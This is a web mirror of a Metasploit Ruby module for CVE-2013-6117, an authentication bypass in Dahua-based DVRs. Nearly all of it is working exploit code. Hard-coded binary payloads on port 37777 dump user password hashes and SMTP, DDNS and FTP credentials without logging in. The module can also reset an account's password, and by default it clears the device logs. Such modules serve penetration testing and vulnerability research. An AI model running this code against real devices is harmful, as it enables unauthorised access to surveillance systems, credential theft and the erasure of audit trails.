Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::Report
10
11
def initialize
12
super(
13
'Name' => %q(Dahua DVR Auth Bypass Scanner),
14
'Description' => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),
15
'Author' => [
16
'Tyler Bennett - Talos Consulting', # Metasploit module
17
'Jake Reynolds - Depth Security', # Vulnerability Discoverer
18
'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
19
'Nathan McBride' # regex extraordinaire
20
],
21
'References' => [
22
[ 'CVE', '2013-6117' ],
23
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
24
],
25
'License' => MSF_LICENSE,
26
'DefaultAction' => 'VERSION',
27
'Actions' => [
28
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
29
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
30
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
31
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
32
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
33
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
34
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
35
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
36
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
37
]
38
)
39
40
register_options([
41
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
42
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
43
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
44
Opt::RPORT(37777)
45
])
46
end
47
48
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
49
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
50
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
51
# Payload to grab version of the DVR
52
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
53
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
54
# Payload to grab Email Settings of the DVR
55
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
56
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
57
# Payload to grab DDNS Settings of the DVR
58
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
59
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
60
# Payload to grab NAS Settings of the DVR
61
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
62
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
63
# Payload to grab the Channels that each camera is assigned to on the DVR
64
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
65
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
66
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
67
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
68
# Payload to grab the Users Groups of the DVR
69
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
70
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
71
# Payload to grab the Users and their hashes from the DVR
72
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
73
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
74
# Payload to grab the Serial Number of the DVR
75
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
76
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
77
# Payload to clear the logs of the DVR
78
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
79
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
80
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
81
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
82
83
def setup
84
@password = datastore['PASSWORD']
85
@password ||= Rex::Text.rand_text_alpha(6)
86
end
87
88
def grab_version
89
connect
90
sock.put(VERSION)
91
data = sock.get_once
92
return unless data =~ /[\x00]{8,}([[:print:]]+)/
93
94
ver = Regexp.last_match[1]
95
print_good("#{peer} -- version: #{ver}")
96
end
97
98
def grab_serial
99
connect
100
sock.put(SN)
101
data = sock.get_once
102
return unless data =~ /[\x00]{8,}([[:print:]]+)/
103
104
serial = Regexp.last_match[1]
105
print_good("#{peer} -- serial number: #{serial}")
106
end
107
108
def grab_email
109
connect
110
sock.put(EMAIL)
111
return unless (response = sock.get_once)
112
113
data = response.split('&&')
114
print_good("#{peer} -- Email Settings:")
115
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
116
117
if mailhost = Regexp.last_match[1].split(':')
118
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
119
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
120
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
121
mailserver = "#{mailhost[0]}"
122
mailport = "#{mailhost[1]}"
123
muser = "#{data[5]}"
124
mpass = "#{data[6]}"
125
end
126
return if muser.blank? && mpass.blank?
127
128
print_good(" SMTP User: #{data[5]}")
129
print_good(" SMTP Password: #{data[6]}")
130
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
131
132
report_email_cred(mailserver, mailport, muser, mpass)
133
end
134
135
def grab_ddns
136
connect
137
sock.put(DDNS)
138
return unless (response = sock.get_once)
139
140
data = response.split(/&&[0-1]&&/)
141
ddns_table = Rex::Text::Table.new(
142
'Header' => 'Dahua DDNS Settings',
143
'Indent' => 1,
144
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
145
)
146
data.each_with_index do |val, index|
147
next if index == 0
148
149
val = val.split("&&")
150
ddns_service = val[0]
151
ddns_server = val[1]
152
ddns_port = val[2]
153
ddns_domain = val[3]
154
ddns_user = val[4]
155
ddns_pass = val[5]
156
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
157
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
158
if datastore['VERBOSE']
159
ddns_table.print
160
end
161
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
162
end
163
end
164
end
165
166
def grab_nas
167
connect
168
sock.put(NAS)
169
return unless (data = sock.get_once)
170
171
print_good("#{peer} -- NAS Settings:")
172
server = ''
173
port = ''
174
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
175
server = Regexp.last_match[1].unpack('C*').join('.')
176
port = Regexp.last_match[2].unpack('S')
177
end
178
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
179
ftpuser.strip!
180
ftppass.strip!
181
unless ftpuser.blank? || ftppass.blank?
182
print_good("#{peer} -- NAS Server: #{server}")
183
print_good("#{peer} -- NAS Port: #{port}")
184
print_good("#{peer} -- FTP User: #{ftpuser}")
185
print_good("#{peer} -- FTP Pass: #{ftppass}")
186
report_creds(
187
host: server,
188
port: port,
189
user: ftpuser,
190
pass: ftppass,
191
type: "FTP",
192
active: true
193
)
194
end
195
end
196
end
197
198
def grab_channels
199
connect
200
sock.put(CHANNELS)
201
data = sock.get_once.split('&&')
202
channels_table = Rex::Text::Table.new(
203
'Header' => 'Dahua Camera Channels',
204
'Indent' => 1,
205
'Columns' => ['ID', 'Peer', 'Channels']
206
)
207
return unless data.length > 1
208
209
data.each_with_index do |val, index|
210
number = index.to_s
211
channels = val[/([[:print:]]+)/]
212
channels_table << [ number, peer, channels ]
213
end
214
channels_table.print
215
end
216
217
def grab_users
218
connect
219
sock.put(USERS)
220
return unless (response = sock.get_once)
221
222
data = response.split('&&')
223
usercount = 0
224
users_table = Rex::Text::Table.new(
225
'Header' => 'Dahua Users Hashes and Rights',
226
'Indent' => 1,
227
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
228
)
229
data.each do |val|
230
usercount += 1
231
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
232
users_table << [ peer, user, md5hash, groups, rights, name]
233
# Write the dahua hash to the database
234
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
235
report_hash(rhost, rport, user, hash)
236
# Write the vulnerability to the database
237
report_vuln(
238
host: rhost,
239
port: rport,
240
proto: 'tcp',
241
sname: 'dvr',
242
name: 'Dahua Authentication Password Hash Exposure',
243
info: "Obtained password hash for user #{user}: #{md5hash}",
244
refs: references
245
)
246
end
247
users_table.print
248
end
249
250
def grab_groups
251
connect
252
sock.put(GROUPS)
253
return unless (response = sock.get_once)
254
255
data = response.split('&&')
256
groups_table = Rex::Text::Table.new(
257
'Header' => 'Dahua groups',
258
'Indent' => 1,
259
'Columns' => ['ID', 'Peer', 'Group']
260
)
261
data.each do |val|
262
number = "#{val[/(([\d]+))/]}"
263
groups = "#{val[/(([a-z]+))/]}"
264
groups_table << [ number, peer, groups ]
265
end
266
groups_table.print
267
end
268
269
def reset_user
270
connect
271
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
272
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
273
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
274
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
275
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
276
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
277
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
278
sock.put(u1)
279
sock.put(u2)
280
sock.put(u3)
281
sock.get_once
282
sock.put(u1)
283
return unless sock.get_once
284
285
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
286
end
287
288
def clear_logs
289
connect
290
sock.put(CLEAR_LOGS1)
291
sock.put(CLEAR_LOGS2)
292
print_good("#{peer} -- logs cleared")
293
end
294
295
def peer
296
"#{rhost}:#{rport}"
297
end
298
299
def run_host(_ip)
300
begin
301
connect
302
sock.put(U1)
303
data = sock.recv(8)
304
disconnect
305
return unless data == DVR_RESP
306
307
print_good("#{peer} -- Dahua-based DVR found")
308
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
309
310
case action.name.upcase
311
when 'CHANNEL'
312
grab_channels
313
when 'DDNS'
314
grab_ddns
315
when 'EMAIL'
316
grab_email
317
when 'GROUP'
318
grab_groups
319
when 'NAS'
320
grab_nas
321
when 'RESET'
322
reset_user
323
when 'SERIAL'
324
grab_serial
325
when 'USER'
326
grab_users
327
when 'VERSION'
328
grab_version
329
end
330
331
clear_logs if datastore['CLEAR_LOGS']
332
ensure
333
disconnect
334
end
335
end
336
337
def report_hash(rhost, rport, user, hash)
338
service_data = {
339
address: rhost,
340
port: rport,
341
service_name: 'dahua_dvr',
342
protocol: 'tcp',
343
workspace_id: myworkspace_id
344
}
345
346
credential_data = {
347
module_fullname: fullname,
348
origin_type: :service,
349
private_data: hash,
350
private_type: :nonreplayable_hash,
351
jtr_format: 'dahua_hash',
352
username: user
353
}.merge(service_data)
354
355
login_data = {
356
core: create_credential(credential_data),
357
status: Metasploit::Model::Login::Status::UNTRIED
358
}.merge(service_data)
359
360
create_credential_login(login_data)
361
end
362
363
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
364
service_data = {
365
address: ddns_server,
366
port: ddns_port,
367
service_name: 'ddns settings',
368
protocol: 'tcp',
369
workspace_id: myworkspace_id
370
}
371
372
credential_data = {
373
module_fullname: fullname,
374
origin_type: :service,
375
private_data: ddns_pass,
376
private_type: :password,
377
username: ddns_user
378
}.merge(service_data)
379
380
login_data = {
381
core: create_credential(credential_data),
382
status: Metasploit::Model::Login::Status::UNTRIED
383
}.merge(service_data)
384
385
create_credential_login(login_data)
386
end
387
388
def report_email_cred(mailserver, mailport, muser, mpass)
389
service_data = {
390
address: mailserver,
391
port: mailport,
392
service_name: 'email settings',
393
protocol: 'tcp',
394
workspace_id: myworkspace_id
395
}
396
397
credential_data = {
398
module_fullname: fullname,
399
origin_type: :service,
400
private_data: mpass,
401
private_type: :password,
402
username: muser
403
}.merge(service_data)
404
405
login_data = {
406
core: create_credential(credential_data),
407
status: Metasploit::Model::Login::Status::UNTRIED
408
}.merge(service_data)
409
410
create_credential_login(login_data)
411
end
412
end
413
414